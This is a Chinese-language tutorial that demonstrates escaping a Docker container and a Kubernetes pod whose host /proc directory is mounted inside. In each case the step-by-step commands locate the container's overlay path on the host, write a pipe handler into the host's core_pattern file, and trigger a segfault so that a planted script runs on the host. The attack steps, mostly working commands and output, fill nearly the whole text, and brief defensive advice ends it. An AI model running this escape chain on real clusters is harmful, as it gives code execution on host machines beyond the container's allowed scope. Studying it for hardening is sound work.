攻击挂载了主机 /proc 目录的容器

逃逸并在外部执行命令的方式主要是利用了 linux 的 /proc/sys/kernel/core_pattern 文件

docker 示范

# 运行测试容器
[root@localhost ~]# docker run -v /proc:/host_proc --rm -it 192.168.101.99:80/base/centos:8 bash
[root@6fae9cc1a44d /]# mount |grep /host_proc
proc on /host_proc type proc (rw,nosuid,nodev,noexec,relatime)
systemd-1 on /host_proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=37,pgrp=0,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=19381)

# 1、需要利用在 release_agent 中提及的方法从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径
[root@6fae9cc1a44d /]# sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff

# 2、此时我们在容器内的 /exp.sh 就对应了宿主机的 
# /var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff 文件
# 在容器中创建一个脚本
[root@6fae9cc1a44d /]# vi exp.sh
[root@6fae9cc1a44d /]# cat exp.sh
#!/bin/bash
touch /tmp/near

# 在宿主机上查看脚本
[root@localhost ~]# cat /var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff/exp.sh
#!/bin/bash
touch /tmp/near

# 3、因为宿主机内的 /proc 文件被挂载到了容器内的 /host_proc 目录,
# 所以我们修改 /host_proc/sys/kernel/core_pattern 文件以达到修改宿主机 /proc/sys/kernel/core_pattern 的目的
[root@6fae9cc1a44d /]# ls /host_proc/sys/kernel/core_pattern
/host_proc/sys/kernel/core_pattern
[root@6fae9cc1a44d /]# echo -e "|/var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff/exp.sh \rcore" > /host_proc/sys/kernel/core_pattern

# 4、此时我们还需要一个程序在容器里执行并触发 segmentation fault 使植入的 payload 即 exp.sh 在宿主机执行。
[root@6fae9cc1a44d /]# vi main.c
[root@6fae9cc1a44d /]# cat main.c 
#include <stdio.h>
int main(void) {
    int *a = NULL;
    *a = 1;
    return 0;
}
# 编译这个 c 代码
[root@6fae9cc1a44d /]# gcc main.c -o main
# 宿主机执行的脚本授权
[root@6fae9cc1a44d /]# chmod 755 exp.sh 

# 当容器内的 segmentation fault 被触发时,我们就达到了逃逸到宿主机在容器外执行任意代码的目的。
# 执行触发程序
[root@6fae9cc1a44d /]# ./main 
Segmentation fault (core dumped)

# 5、宿主机上验证 exp.sh 是否执行
[root@localhost ~]# ls /tmp/near 
/tmp/near

k8s 示范

部署测试示例
apiVersion: v1
kind: Pod
metadata:
  name: centos-host-proc
spec:
  containers:
    - name: shell
      image: 192.168.101.99:80/base/centos:8
      # 保持 Pod 不退出,再 exec 进 bash(类似 -it bash 的用法)
      command: ["/bin/sleep", "infinity"]
      volumeMounts:
        - name: host-proc
          mountPath: /host_proc
  volumes:
    - name: host-proc
      hostPath:
        path: /proc
        type: Directory
  restartPolicy: Never
操作
[root@k8s-node1 ~]# kubectl exec -it centos-host-proc /bin/bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
[root@centos-host-proc /]# 

# 运行测试容器
[root@centos-host-proc /]# mount |grep /host_proc
proc on /host_proc type proc (rw,nosuid,nodev,noexec,relatime)
systemd-1 on /host_proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=40,pgrp=0,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=21557)
nfsd on /host_proc/fs/nfsd type nfsd (rw,relatime)

# 1、需要利用在 release_agent 中提及的方法从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径
[root@centos-host-proc /]# sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs

# 2、此时我们在容器内的 /exp.sh 就对应了宿主机的 
# /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs 文件
# 在容器中创建一个脚本
[root@centos-host-proc /]# vi exp.sh
[root@centos-host-proc /]# cat exp.sh 
#!/bin/bash
touch /tmp/near

# 在宿主机上查看脚本
[root@k8s-node1 ~]# cat /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs/exp.sh
#!/bin/bash
touch /tmp/near

# 3、因为宿主机内的 /proc 文件被挂载到了容器内的 /host_proc 目录,
# 所以我们修改 /host_proc/sys/kernel/core_pattern 文件以达到修改宿主机 /proc/sys/kernel/core_pattern 的目的
[root@centos-host-proc /]# ls /host_proc/sys/kernel/core_pattern
/host_proc/sys/kernel/core_pattern
[root@centos-host-proc /]# echo -e "|/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs/exp.sh \rcore" > /host_proc/sys/kernel/core_pattern

# 4、此时我们还需要一个程序在容器里执行并触发 segmentation fault 使植入的 payload 即 exp.sh 在宿主机执行。
[root@centos-host-proc /]# vi main.c
[root@centos-host-proc /]# cat main.c
#include <stdio.h>
int main(void) {
    int *a = NULL;
    *a = 1;
    return 0;
}
# 编译这个 c 代码
[root@centos-host-proc /]# gcc main.c -o main
# 宿主机执行的脚本授权
[root@centos-host-proc /]# chmod 755 exp.sh 

# 当容器内的 segmentation fault 被触发时,我们就达到了逃逸到宿主机在容器外执行任意代码的目的。
# 执行触发程序
[root@centos-host-proc /]# ./main 
Segmentation fault (core dumped)

# 5、宿主机上验证 exp.sh 是否执行
[root@k8s-node1 ~]# ls /tmp/near 
/tmp/near

防御建议:

避免将宿主机的/proc目录挂载到容器中
如必须挂载,使用只读挂载并考虑使用ProcMount字段限制访问
监控对core_pattern等敏感文件的修改
使用seccomp过滤器限制容器内的系统调用

更多推荐